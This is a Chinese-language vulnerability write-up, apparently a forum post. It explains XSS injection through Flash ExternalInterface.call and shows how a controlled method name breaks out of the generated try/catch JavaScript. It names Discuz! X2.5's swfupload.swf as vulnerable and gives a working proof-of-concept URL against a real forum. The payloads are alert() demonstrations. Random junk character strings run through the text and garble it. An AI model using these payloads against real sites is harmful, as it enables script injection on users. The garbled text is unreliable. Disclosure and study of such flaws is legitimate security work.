上回我们说( J y, d" D y. c. Q$ C. e
* r8 h% ?( |8 p& N7 Y
flash.external.ExternalInterface.call($methodName, $parameter)
8 i$ P; \4 M; o& \在浏览器中执行的是
7 B& m: J0 b) }6 _
6 P& }6 c/ Y8 Y$ [% y- m qtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
5 E. q& k4 M- t5 n: i7 d) I3 s. o对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如4 W% e9 z: T: n! ~# l( W* V
: A) S7 t6 J4 d' Xflash.external.ExternalInterface.call("object."+$methodName, $parameter)6 t' s6 v ?- }; T% @' {& ~( \
$methodName = a())}catch(e){alert(/xss/)}//7 f$ f, | e% R3 q
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
! J9 O9 o/ Y# s" ^5 ?
/ x. b+ B3 Y5 l- Y, m ztry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }- c- y; M, T: ^
$ |0 t' S k+ \+ f3 B这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )! [% z- U% j0 V% Q3 d+ o* y- T
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。. R4 h* P( n2 A* s
. I, w g6 d. Z I
+ h/ i+ |, G' {8 e
. G* a7 T) Z! U9 v
漏洞文件:upload\static\image\common\swfupload.swf
3 A) R. Z6 j6 h8 V r ]& J U0 f5 R" G+ z
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf `0 A$ O I" ^9 b3 w
+ }! v! c# G9 Z4 P" T, o- a4 V& [
6 x" K4 A; C7 L. J2 C/ X漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
2 U8 I ]3 F9 P0 w [$ {) F7 y+ G O8 _) i8 d
$ `8 l. Y& x2 J
|